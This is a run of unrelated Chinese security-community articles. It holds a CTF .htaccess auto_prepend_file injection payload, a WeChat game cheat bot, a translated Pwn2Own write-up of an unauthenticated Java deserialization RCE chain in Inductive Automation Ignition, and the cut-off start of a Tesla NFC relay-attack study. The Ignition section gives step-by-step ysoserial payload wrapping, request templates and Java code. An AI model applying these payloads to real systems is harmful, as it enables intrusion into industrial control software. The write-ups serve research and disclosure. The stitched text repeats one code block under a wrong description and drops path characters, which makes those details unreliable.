这种考点一般的话是禁止有特殊起始符和结束符号的语言，如果不禁，直接写入PHP代码就可以执行了，后面的限制也就没有什么意义了，这类问题往往是需要想办法处理掉杂糅代码的。
**.htaccess绕过**
使用.htaccess文件绕过需要注意该文件是很敏感的，如果有杂糅代码，便会出现错误，导致无法操作，可以使用注释符来将杂糅代码给注释掉
?filename=.htaccess&content=php_value auto_prepend_file D:\flag.php%0a%23\
## 参考博客：
<https://xz.aliyun.com/t/8163#toc-14>
<https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/>
<https://www.cnblogs.com/jpdoutop/p/httpd-htaccess.html>
<https://www.leavesongs.com/PENETRATION/php-filter-magic.html> | 社区文章 |
## 简介
跳一跳是一个微信小程序。 2017年12月28日，微信更新的 6.6.1 版本开放了小游戏，微信启动页面还重点推荐了小游戏「跳一跳」。
小游戏非常的火 各种稀奇古怪的外挂很多都出来了
看到排行榜都是一些几千的，不禁也想动手试试
尝试抓包提交后发现需要参数和签名现在已经需要对应，在无可奈何无奈作罢。
不过想起最近很火的图片处理和机器学习，于是想尝试两者结合一下。制作一个AlphaJump(=.=)
## 编写过程和思路
* 识别主体
* 识别流程和触发形式
* 图片采样
* 图片特征提取
* 实验
## 识别主体
识别主体很简单，即紫色棋子抵达白色区域的中心位置的距离。我们根据距离的长短来控制触控屏幕的时长，来抵达目标位置
## 识别流程和触发形式
* **手机平台**
由于安卓还是比苹果方便调试，
这里直接使用了安卓机作为调试的平台 。
* **额外工具** adb
使用 ADB工具 作为主要的调试和输入输出工具
* [截图] adb shell /system/bin/screencap -p /sdcard/screenshot.png
* [下载截图] adb pull /sdcard/screenshot.png d:/screenshot.png
* [触摸] adb swipe x1 y1 x2 y2 duration(ms)
-[注] adb好像没有触摸 不过有滑动 ,所以把 x1 y1 x2 y2 变成一个像素点,加上时间即可变成长按
* **语言** python
主要使用 PIL的Image
* **识别流程和触发形式**
## 图片采样
我们先来看一下完整的跳一跳的程序截图
主要分为
* 分数以及返回按钮部分
* 游戏主体部分
* 尾部分享部分
那么我们主要的分析部分就是在主体部分 。在主体部分我们完成特征提取的功能。
## 图片特征提取
首先，我们用PIL的IMG以RGB的形式载入图片
`im = Image.open('./12345.jpg').convert('RGB')`
仔细观察主体后发现[用ps去拾色]背景是由单一的颜色渐变而来。我们第一步先驱除背景。
* 这里没办法用固定色值 因为背景玩着玩着会改变 T.T
### 驱除背景
* 先对 0，0的元素采样
* 对采样得到RGB三个颜色的误差在正负50以内的 直接转为 白色[255,255,255]
看得出结果还可以 。
### 找棋子
去掉背景后，我们开始找参考线。多次玩游戏发现棋子的颜色是不变的。其RGB的范围在 [60,60,103]附近游走
经过多次测试,在RGB的值的范围如下时，基本可以覆盖棋子，
* R 40-70
* G 40-70
* B 60-103
把RGB在如上范围的像素进行染色 如下图
虽然无法覆盖部分高光，但是顶端和尾部基本都覆盖了 。
只要可以确定棋子的最低点和最高点即可。[因为要获取棋子的高度]
对最高点和最低点添加两条辅助线 如图
### 找目标盒子的落点位置
找目标盒子不难，但是找落点比较难
因为盒子有高有矮，有时候还会有遮挡
无法通过简单的最高点和最低点除2获得落点位置
在没有掌握足够的计算机图像识别的能力情况下
我通过一个比较取巧的方法去获得 落点位置
通过多次游戏可以知道：
* 棋子完美落点的位置 恰好是棋子高度一半 在目标盒子上
* 目标盒子上方基本为空白，比较容易获得最高点的位置
* 一般最高点的X和中心落点一致 (因为都是规则的几何体)
于是落点的xy计算公式：
* `x = 目标盒子最高点X`
* `y = 目标盒子最高点Y + 棋子高度/2`
计算一下落点位置，添加一条辅助线和对落点位置进行着色
可以看到 落点位置已经非常准确的标注出来。
提取特征已经完成
## 实验
找一台安卓机开始实验
实验效果如图：
## 总结
目前来说 还未涉及到机器学习核心部分
只是完成机器学习的第一步制作样本文件。
下一篇我们用机器学习去优化我们的阿尔法跳的参数
所有代码我会同步在这里
* <https://github.com/wstart/wechat_AlphaJump> | 社区文章 |
# Pwn2Own Write-Up：Inductive Automation产品的漏洞利用三重奏
|
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
2020年1月，在S4会议上举行了首届Pwn2Own Miami竞赛，目标是工业控制系统（ICS）产品。在比赛中，Pedro Ribeiro和Radek
Domanski的团队利用信息泄露和不安全的反序列化漏洞，成功在Inductive Automation
Ignition系统上实现了代码执行。在比赛第一天结束后，他们就赢得了25000美元的奖励。目前，这些漏洞已经可以从厂商处获得补丁程序，同时漏洞发现团队提供了以下Write-Up和演示视频。
这篇文章描述了Pedro Ribeiro（[@pedrib1337](https://github.com/pedrib1337
"@pedrib1337")）和Radek Domanski（[@RabbitPro](https://github.com/RabbitPro
"@RabbitPro")）发现的一系列Java漏洞。这些漏洞在1月份举行的ZDI Pwn2Own Miami
2020比赛中利用。所描述的漏洞存在于8.0.0 – 8.0.7（含8.0.7）版本的 Inductive Automation Ignition
SCADA产品中。厂商已经在最近修复了这些漏洞，并建议用户升级到8.0.10版本。在下面的视频中，快速介绍了所发现的漏洞：
<https://youtu.be/CuOancRm1fg>
使用默认配置的Ignition可能被未经身份验证的攻击者实现漏洞利用，一旦攻击者成功利用，将可能获得Windows SYSTEM或Linux
root权限的远程代码执行。
在他们的漏洞利用链中，共组合利用了三个漏洞来实现代码执行，这些漏洞分别是：
1、未经授权对敏感资源的访问漏洞；
2、不安全的Java反序列化；
3、使用不安全的Java库。
本文分析的所有代码，都是通过反编译8.0.7版本的JAR文件所获得的。
## 二、漏洞详情
在深入研究漏洞之前，我们首先要介绍一下有关Ignition和/system/gateway终端的背景知识。Ignition负责侦听大量的TCP和UDP端口，因为除了其主要功能外，它还必须处理多种SCADA协议。
其中使用的主要端口是TCP 8088和TCP/TLS
8043，它们用于通过HTTP（HTTPS）协议控制管理服务器，并处理各种Ignition组件之间的通信。
有多个API终端会持续侦听该端口，但我们关注的是其中的/system/gateway。这个API终端允许用户执行远程函数调用。未经身份验证的用户仅能调用其中的几个函数，而`Login.designer()`函数就是其中之一。该函数使用包含序列化Java对象的XML与客户端进行通信。其代码位于`com.inductiveautomation.ignition.gateway.servlets.Gateway`类中。
通常，使用序列化的Java对象执行客户端-服务器（CS）通信可以导致直接的代码执行，但是在这里，这个过程并不是那么简单。在深入探讨之前，首先让我们看一下`Login.designer()`请求的内容：
<!-- POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 845
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>964325727</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[Login]]>
</arg>
<arg name="subFunction">
<![CDATA[designer]]>
</arg>
<arg name="arg" index="0">
<![CDATA[H4sIAAAAAAAAAFvzloG1hMG1Wqm0OLUoLzE3VTc1L1nJSinFMMnQyDApMdnEyCzJyDhVSUepILG4
uDy/KAWXiloAvpMDvEwAAAA=]]>
</arg>
<arg name="arg" index="1">
<![CDATA[H4sIAAAAAAAAAFvzloG1uIhBMCuxLFEvJzEvXc8zryQ1PbVI6NGCJd8b2y2YGBg9GVjLEnNKUyuKGAQQ6vxKc5NSi9rWTJXlnvKgm4mBoaKgItLQAACH6ksSUQAAAA==]]>
</arg>
<arg name="arg" index="2">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHXtbQovyBV3yc/LyU/DwDHsV9XFAAAAA==]]>
</arg>
<arg name="arg" index="3">
<![CDATA[H4sIAAAAAAAAAFvzloG1hIHfxTXYO8Q/QNc/MDDE1MkYAOTFO60WAAAA]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
响应如下：
<-- HTTP/1.1 200 OK
Date: Sun, 24 Nov 2019 00:33:56 GMT
Content-Type: text/xml
Server: Jetty(9.4.8.v20180619)
Content-Length: 1254
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<SerializedResponse>
H4sIAAAAAAAAAKVUz2sTQRid/NgktbUmFlp66EH00ktyEyFCTSvFaFqFqrT04mR3spkwu7POzKbb
IIVeitCDpSpSRVrQi1D04F9QPAiiQgv24EUPXoVevfnNbpK2eFFcyGb5vjffj/fe7vZPZEiBJkzu
5Klr+aaiTYJ9xR2sKHfz1HZp+AAAB/58SUR+HEtqlnxVJ66iJlbEugXh4Oa9D1Ovx4biKFZBPYo6
RCrseAplKw3cxAVfUVa4DOhiIND5f2+oe+wMLa0Mz8VycWRUUK/JXYVNVXZr/HiXCpWqWEFxaik0
GMUpL8wQQTGjLVxlBLK9nuA1ysg0dohCpyMYw65dmFGCujZADMEZbNGpEdae4IwRU48IgAFp1onl
M1KyGr5UDhAi76IllIAVx/52RVijRu1oyRuCe0SoxRkYKbpiIZ+pJma+HuXUkVGmsFcMPJAvp2N5
HctfwbIOcSP9defd4J3dBIpPohOMY2sSmOKiDMrUBZF1zqzAG7sUtuhbyMA9C780FLv4P3OTN7tb
Jb+QjqNkGRl1k1sEaDQZbrUUyh3heIJhKYHBPovUsM/Ubb3fcRmuVxtANGCSLkikaTUCz1h/9qIp
UDbcWMPykVpbBy8vtIpvx+MIBR6Yzqhiy9Ykhnr07dfWn+iHnEKpElvAi0BlpiNeNxZh07/8YoiF
Mj01KqRyQ4u0S6XGp3c6acPlSqvSTm3uPZxtd4mDFVBGD+hjm3hR/mD0/n7naEY7OyqcMrEgCkeY
V/17Z7oYIKnTPJDtt8bm3GbkUITQjvmy4/hKO1t7/1zH6sSa5MJpOwmBk+ZRhjAS+lShgfk/2Q48
X3QSEb/txNrn2c2sHGUhwboazNN/iKpweGNWf6x9fHD2G/S5iozQscExqaZ9p0rEyvbjkd5H31e7
lbTLFUq3nQB1Bw79XBICL+qdguW9kY33+HkCxcooKWG38HBsIRkdP1myHOoCUGDweaApHO2OGJbS
3556Yzl2bU4NJ3RvbfuY+/TLxqfgN5dVns8IBQAA
</SerializedResponse>
<errorNo>0</errorNo>
</Response>
<SetCookie>D07B61A39DAE828E35134292A70777A4</SetCookie>
</ResponseWrapper>
在请求和响应中，包含序列化的Java对象，这些对象传递给可以远程调用的函数。上面的示例中，展示了对带有四个参数的`com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login`类`designer()`函数的调用。
在到达`Login.designer()`之前，调用栈如下：
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()
com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()
`Gateway.doPost()`
Servlet会执行一些版本和完整性检查，然后将请求发送到`AbstractGatewayFunction.invoke()`，该请求在调用`Login.designer()`之前进行解析和验证，如下所示：
public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {
String funcName = msg.getArg("subFunction");
AbstractGatewayFunction.SubFunction function = null;
if (TypeUtilities.isNullOrEmpty(funcName)) {
function = this.defaultFunction;
} else {
function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName);
}
if (function == null) {
Gateway.printError(out, 500, "Unable to locate function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else if (function.reflectionErrorMessage != null) {
Gateway.printError(out, 500, "Error loading function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else {
Set<Class<?>> classWhitelist = null;
int i;
Class argType;
if (!this.isSessionRequired()) {
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);
Class[] var9 = function.params;
int var10 = var9.length;
for(i = 0; i < var10; ++i) {
argType = var9[i];
classWhitelist.add(argType);
}
if (function.retType != null) {
classWhitelist.add(function.retType);
}
}
List<String> argList = msg.getIndexedArg("arg");
Object[] args;
if (argList != null && argList.size() != 0) {
args = new Object[argList.size()];
for(i = 0; i < argList.size(); ++i) {
if (argList.get(i) == null) {
args[i] = null;
} else {
try {
args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist);
} catch (ClassNotFoundException | IOException var15) {
ClassNotFoundException cnfe = null;
if (var15.getCause() instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15.getCause();
} else if (var15 instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15;
}
if (cnfe != null) {
Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe);
} else {
Gateway.printError(out, 500, "Unable to read argument", var15);
}
return;
}
}
}
} else {
args = new Object[0];
}
if (args.length != function.params.length) {
String var10002 = this.getFunctionName(funcName);
Gateway.printError(out, 202, "Function '" + var10002 + "' requires " + function.params.length + " arguments, got " + args.length, (Throwable)null);
} else {
for(i = 0; i < args.length; ++i) {
argType = function.params[i];
if (args[i] != null) {
try {
args[i] = TypeUtilities.coerce(args[i], argType);
} catch (ClassCastException var14) {
Gateway.printError(out, 202, "Function '" + this.getFunctionName(funcName) + "' argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14);
return;
}
}
}
try {
Object[] fullArgs = new Object[args.length + 3];
fullArgs[0] = context;
fullArgs[1] = session;
fullArgs[2] = projectName;
System.arraycopy(args, 0, fullArgs, 3, args.length);
if (function.isAsync) {
String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs));
Gateway.printAsyncCallResponse(out, uid);
return;
}
Object obj = function.method.invoke(this, fullArgs);
if (obj instanceof Dataset) {
Gateway.datasetToXML(out, (Dataset)obj);
out.println("<errorNo>0</errorNo></Response>");
} else {
Serializable retVal = (Serializable)obj;
Gateway.printSerializedResponse(out, retVal);
}
} catch (Throwable var16) {
Throwable ex = var16;
Throwable cause = var16.getCause();
if (var16 instanceof InvocationTargetException && cause != null) {
ex = cause;
}
int errNo = 500;
if (ex instanceof GatewayFunctionException) {
errNo = ((GatewayFunctionException)ex).getErrorCode();
}
LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex);
Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex);
}
}
}
}
该函数执行以下操作：
1、解析收到的消息；
2、标识需要调用的函数；
3、检查函数参数，确定它们是否可以安全地反序列化；
4、确保参数的数量与目标函数的预期数量相对应；
5、调用带有反序列化参数的函数；
6、将响应发送回客户端。
在反序列化之前，需要检查参数，以确保它们包含“safe”对象。这一过程是通过从`com.inductiveautomation.ignition.common.Base64`调用`decodeToObjectFragile()`来完成的。该函数有两个参数：带有Base64编码对象的字符串，以及可以反序列化的被允许类列表。
public static Object decodeToObjectFragile(String encodedObject, Set<Class<?>> classWhitelist) throws ClassNotFoundException, IOException {
byte[] objBytes = decode(encodedObject, 2);
ByteArrayInputStream bais = null;
ObjectInputStream ois = null;
Object obj = null;
try {
bais = new ByteArrayInputStream(objBytes);
if (classWhitelist != null) {
ois = new SaferObjectInputStream(bais, classWhitelist);
} else {
ois = new ObjectInputStream(bais);
}
obj = ((ObjectInputStream)ois).readObject();
} finally {
try {
bais.close();
} catch (Exception var15) {
}
try {
((ObjectInputStream)ois).close();
} catch (Exception var14) {
}
}
return obj;
}
如上所示，如果`decodeToObjectFragile()`接收到null，而不是允许的类列表，则它将使用“normal”`ObjectInputStream`对对象进行反序列化，从而带来一些问题和风险点。但是，如果指定了允许列表，则`decodeToObjectFragile`将使用`SaferObjectInputStream`类来反序列化对象。
`SaferObjectInputStream`类是`ObjectInputStream`的包装，用于检查需要反序列化的每个对象的类。如果该类不是允许列表的一部分，则会拒绝所有输入，并在产生任何有害影响之前终止处理。相关代码如下：
public class SaferObjectInputStream extends ObjectInputStream {
public static final Set<Class<?>> DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set<String> whitelist;
public SaferObjectInputStream(InputStream in) throws IOException {
this(in, DEFAULT_WHITELIST);
}
public SaferObjectInputStream(InputStream in, Set<Class<?>> whitelist) throws IOException {
super(in);
this.whitelist = new HashSet();
Iterator var3 = whitelist.iterator();
while(var3.hasNext()) {
Class<?> c = (Class)var3.next();
this.whitelist.add(c.getName());
}
}
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
ObjectStreamClass ret = super.readClassDescriptor();
if (!this.whitelist.contains(ret.getName())) {
throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()));
} else {
return ret;
}
}
}
从上面的代码片段中可以看出，默认的允许列表（`DEFAULT_WHITELIST`）非常严格。它仅允许反序列化以下对象类型：
-- String
-- Byte
-- Short
-- Integer
-- Long
-- Number
-- Float
-- Double
-- Boolean
-- Date
-- Color
-- ArrayList
-- HashMap
-- Enum
由于上述这些都是非常简单的类型，因此我们在这里描述的机制是防范大多数Java反序列化攻击的有效方法。
在本文中，由于篇幅限制，我们难以详细解释Java反序列化发生的方式及可能导致的破坏性影响。如果大家有兴趣阅读关于该漏洞的更多信息，建议阅读Java
Unmarshaller Security或Foxglove Security的博客文章。接下来，我们来看看在Pwn2Own中使用的漏洞利用链。
## 三、未授权访问敏感资源漏洞
漏洞利用链中的第一个漏洞是信息泄露，但并没有在我们的漏洞利用过程中用到。未经身份验证的攻击者可以调用“project
diff”功能来获取有关项目的关键信息。在我们的案例中，我们以此为跳板来攻击其他功能。
在`com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload`类中，包含许多未经身份验证的远程攻击者可以访问的操作，其中的一个函数就是`getDiffs()`，如下所示：
@GatewayFunction
public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {
try {
List<ProjectSnapshot> snapshots = (List<ProjectSnapshot>)Base64.decodeToObjectFragile(projectSnapshotsBase64);
RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -> new ProjectNotFoundException(sessionProject))).validateOrThrow();
List<ProjectDiff.AbsoluteDiff> diffs = context.getProjectManager().pull(snapshots);
return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs));
} catch (Exception e) {
throw new GatewayFunctionException(500, "Unable to load project diff.", e);
}
}
如上所示的函数会将提供的数据与服务器中的项目数据进行比较，并返回二者的差异。如果攻击者提供了有效的项目名称，那么服务器可能会提供（泄露）所有项目数据。
同样，这个功能并没有在我们的漏洞利用中使用。而相反，该功能用于进一步攻击系统的跳板，下面将对此展开进一步的说明。
## 四、不安全的Java反序列化漏洞
从上面的代码片段中可以看出，`ProjectDownload.getDiffs()`使用`Base64.decodeToObjectFragile()`函数对项目数据进行解码。之前的代码中已经解释了该函数。如上所示，如果该函数的第二个参数中未提供允许的类的列表，则它将使用标准的不安全`ObjectInputStream`类来对指定的对象进行解码。这样一来，将会产生一个经典的Java反序列化漏洞，当其与最后一个漏洞共同使用时，最终会导致远程执行代码。
## 五、使用不安全Java库问题
漏洞利用链中的最后一个漏洞，是将Java类与易受攻击的Java
Gadget对象一起滥用，这些对象可以用于实现远程代码执行。对于我们来说比较幸运的是，Ignition就是如此。它使用了Apache Commons
Beanutils的一个非常老的版本1.9.2，该版本发布于2013年。
在知名的ysererial Java反序列化漏洞利用工具CommonsBeanutils1中，有一个针对该库的Payload。
## 六、漏洞组合利用
总而言之，要实现远程代码执行，我们需要执行以下操作：
1、创建一个ysoserial CommonsBeanutils1 Payload；
2、将Payload进行Base64编码；
3、将Payload封装在Java `String`对象中；
4、使用标准的Java序列化功能对`String`对象进行序列化；
5、对序列化后的`String`对象进行Base64编码；
6、使用恶意参数将请求发送到/system/gateway，调用`getDiffs()`。
这样一来，我们就能绕过序列化的白名单，并执行我们的代码！但是，具体要如何实现呢？我们还需要深入研究一下。
我们的Payload将具有以下格式：
base64(String(base64(YSOSERIAL_PAYLOAD))
上面代码片段中展示过的代码将对其进行Base64解码，这将导致：
String(base64(YSOSERIAL_PAYLOAD))
由于它是`String`类，因此根据上一章中的白名单进行了检查，检查结果将允许对其进行反序列化。然后，就进入到了`ProjectDownload.getDiffs()`，它使用我们的`String`参数，在不指定白名单的情况下对其调用`Base64.decodeToObjectFragile()`。
如之前展示的代码所示，这将导致`String`被Base64解码，然后在我们的恶意对象（`YSOSERIAL_PAYLOAD`）
上调用`ObjectInputStream.readObject()`，从而导致代码执行！
## 七、编写Payload
要编写我们的Payload，首先需要调用`ysoserial`，如下所示：
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
然后，可以使用以下Java代码将Payload封装在String里面，并将其序列化到磁盘中：
public static void main(String[] args) {
try {
String payload = "<YSOSERIAL_BASE64_PAYLOAD>";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
在这段代码中，`<YSOSERIAL_BASE64_PAYLOAD>`应该包含上述代码的输出。
最后，我们将以下请求发送到目标：
<!-- POST /system/gateway HTTP/1.1
Content-type: text/xml
User-Agent: Java/11.0.4
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1337
-->
<?xml version="1.0" encoding="UTF-8"?>
<requestwrapper>
<version>1184437744</version>
<scope>2</scope>
<message>
<messagetype>199</messagetype>
<messagebody>
<arg name="funcId">
<![CDATA[ProjectDownload]]>
</arg>
<arg name="subFunction">
<![CDATA[getDiff]]>
</arg>
<arg name="arg" index="0">
<![CDATA[<PAYLOAD>]]>
</arg>
</messagebody>
</message>
<locale>
<l>en</l>
<c>GB</c>
<v></v>
</locale>
</requestwrapper>
`<PAYLOAD>`中将包含正在运行的代码段的输出，目标响应如下：
<!--
HTTP/1.1 200 OK
Date: Sat, 11 Jan 2020 10:17:55 GMT
Content-Type: text/xml
Server: Jetty(9.4.20.v20190813)
Content-Length: 7760
-->
<?xml version="1.0" encoding="UTF-8"?>
<ResponseWrapper>
<Response>
<errorNo>500</errorNo>
<errorMsg>Unable to load project diff.</errorMsg>
<StackTrace>
<ExceptionMsg>Unable to load project diff.</ExceptionMsg>
<ExceptionString>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException: Unable to load project diff.</ExceptionString>
<ExceptionCls>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.GatewayFunctionException</ExceptionCls>
<ExceptionOTS>false</ExceptionOTS>
<StackTraceElem>
<decl>com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload</decl>
<meth>getDiff</meth>
<file>ProjectDownload.java</file>
<line>52</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke0</meth>
<file>null</file>
<line>-2</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.NativeMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<StackTraceElem>
<decl>jdk.internal.reflect.DelegatingMethodAccessorImpl</decl>
<meth>invoke</meth>
<file>null</file>
<line>-1</line>
</StackTraceElem>
<!-- (...) -->
在响应中，包含一个栈跟踪，表明其中存在一些问题，但Payload是以SYSTEM权限（在Linux中是以root）来执行的。
使用上面提供的Payload，文件将位于`C:flashback.txt`中，其中的文本为`nt
authoritysystem`。这表明我们已经成功实现了未经身份验证的远程代码执行。
## 八、总结
在本文中，我们对在Pwn2Own Miami中发现的漏洞利用展开了详细分析，Inductive
Automation已经在8.0.10版本中修复了这些漏洞。在新版本中，还包含许多其他修复程序和新功能，如果大家想要自行测试，为方便起见，我们发布了Metasploit模块。在本文开头的视频中，可以看到该模块的运行情况。
再次感谢Pedro和Radek提供的出色文章，并感谢他们对Pwn2Own
Miami的贡献。我们期待后续能收到更多来自他们的投稿，在此之前，欢迎关注该团队以获取组新的漏洞利用技术和安全补丁。 | 社区文章 |
# 车联网安全系列——特斯拉 NFC 中继攻击（CVE-2020-15912）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
大家好, 我是来自银基Tiger-Team的KEVIN2600. 今天想跟大家分享下Tiger-Team在第28届DEFCON黑客大会上发表的Tesla
NFC中继攻击的研究全过程. 希望抛砖引玉为中国车联网安全做出贡献. 同时借此机会向中国CTF战队A _0_ E表示祝贺,
牛逼的后浪们首次获得了DEFCON CTF的总冠军.
Tesla 电动汽车已迅速成为新能源汽车的领导者. 公司创始人Elon Musk 自豪地称其为“A sophisticated computer on
wheels”. 作为业界的翘楚, 自然会吸引很多黑客和安全研究人员的兴趣. 在过去一段时间里, 很多安全研究人员对特斯拉进行了有针对性的研究.
而成果也可谓收获颇丰. 其中特斯拉自己的漏洞英雄榜上, 可以看见很多中国研究团队的身影.
全球漏洞库中也有众多关于特斯拉的漏洞CVE编号. 而其中最值得智能钥匙安全研究人员深入的是编号为CVE-2018-16806的漏洞.
比利时一名安全研究人员通过逆向分析特斯拉Model S钥匙Pektorn PKE系统, 并找到DST40 Cipher的设计缺陷.
成功破解并完美复制了特斯拉钥匙
但是对Tesla新能源汽车感兴趣的, 可不仅仅是安全研究人员. 同时还有专业的盗贼们. 不过他们可没有那功夫去深入研究Tesla的安全缺陷.
对他们来说自然是简单粗暴有效便好. 而中继攻击便是其中最简单的方式之一. 相信大家可以从新闻中得知, 国内外经常有盗贼采用此类方式盗取车辆或车内的贵重物品.
## **0x01 NFC 101 科普
**
所以这让我们很好奇, 中继攻击是否真的就那么容易实现. 于是带着这个疑问开始了这段有趣的研究. 不过在进入主题之前,
我们还是简单了解些有关NFC的基础知识. NFC也被称为近场通信, 其工作模式以被动式为主, 工作频率为13.56Mhz. 其应用场景非常广泛,
我们常见的地铁一卡通; 门禁卡甚至是护照都有其身影.
当然通常我们提到NFC 攻击, 大家很容易会想到Mifare Classic 的破解. 这类文章在网上随处可见. 不过NFC的类型可不仅仅是Classic.
比如某公司的门禁卡采用的是iClass. 而某地铁的一次性车票则是Ultralight. 每种类型都曾经暴露过各自的问题, 感兴趣的朋友可以自行研究一番.
## 0x02 TESLA钥匙架构
随着科技的进步, 车联网的发展. 人们操控开启车门的方式也发生了变化. 最与众不同的一点是, 众多智能汽车已经开始抛弃传统的物理钥匙.
转而开始使用蓝牙或NFC. 其中Tesla Model 3便是首当其冲. 既然江湖大哥这么做了, 其他车厂自当紧跟其后. 国产品牌中的比亚迪;
小鹏以及蔚来都推出了使用NFC的车型. 有趣的IPhone在最新版的IOS中也推出了CarKey功能
那么我们来一起看看江湖大哥Tesla是如何设计智能钥匙系统的呢. 在最开始Tesla的Model 3是真的完全抛弃了物理钥匙, 仅使用了手机蓝牙,
NFC以及4G远控. 但或许是因为有些用户十分怀旧, Tesla 最后还是推出了物理钥匙. 不过这把物理钥匙并没使用传统的RF技术.
仍是基于BLE蓝牙和NFC.
当我们把物理钥匙拆开, 可以看到一串标为FCC-ID的字符串. 例如 2AEIM-1133148, 通过到FCC官方查找发现关于TESLA物理钥匙,
甚至车端的内部信息. 这些信息对进一步逆向分析起到非常重要的作用.
接下来可以用研究RFID的瑞士军刀PM3来读取Tesla车卡或物理钥匙. 我们会发现Tesla车卡使用的是7字节UID 的Mifare DESFire
EV1 (Java Card). 同时支ISO14443 Type-A and ISO 7816-4. 需要指出的是这2个标准在APDU应用层是一样的.
而在随后的分析当中, 我们还发现Tesla采用的认证方式为椭圆曲线ECDH secp256r1.
## 0x03 分析, 挑战与突破
在对Tesla 的钥匙系统有了一定了解之后. 我们就开始了真正的逆向之旅. 正所谓工欲善其事必先利其器, 我们调研后认为NFCGate与Proxmark3
符合我们的需求. 尤其是NFCGate这款APP是专门用来NFC中间人攻击与逆向的.
我们只需分别在2台手机上各自安好NFCGate, 同时设置一个无线设备作运行网关Server便可. 如下图我们成功通过中继攻击,
用同事的信用卡给自己买了一杯咖啡.
不过同样的配置在第一次Tesla钥匙系统测试中却失败了. 但这是正常的, 继续努力尝试吧. 这里我们请出RFID瑞士军刀PROXMARK3,
对Tesla钥匙端与NFC 卡之间的通讯进行抓包分析. 例如其中一个AID被标识为TeslaLogic.
阅读大量文档和数据分析后, 我们搞清楚了Tesla NFC钥匙的整个交互流程. 首先Tesla车端会对NFC卡上的特定AID 发出请求,
比如标号为F4和74的TeslaLogic.不过F4貌似是针对手机端的. 所以我们的NFC卡会返回一个6D00, 相当与告诉车端这个AID 不存在.
随后车端会在对74 的NFC卡AID发出请求.
在请求得到响应后, 车端便开始了挑战环节. 如果我们的NFC可以迅速返回正确的应答, 便完成了认证过程. 虽说看似整个过程很简单,
但因为信用卡POS机对应答时间的容忍度较高. 而Tesla对反应时间的要求却非常严格, 所以导致我们第一次的Tesla中继攻击尝试失败了.
那么我们是否有办法绕过这个时间限制呢?
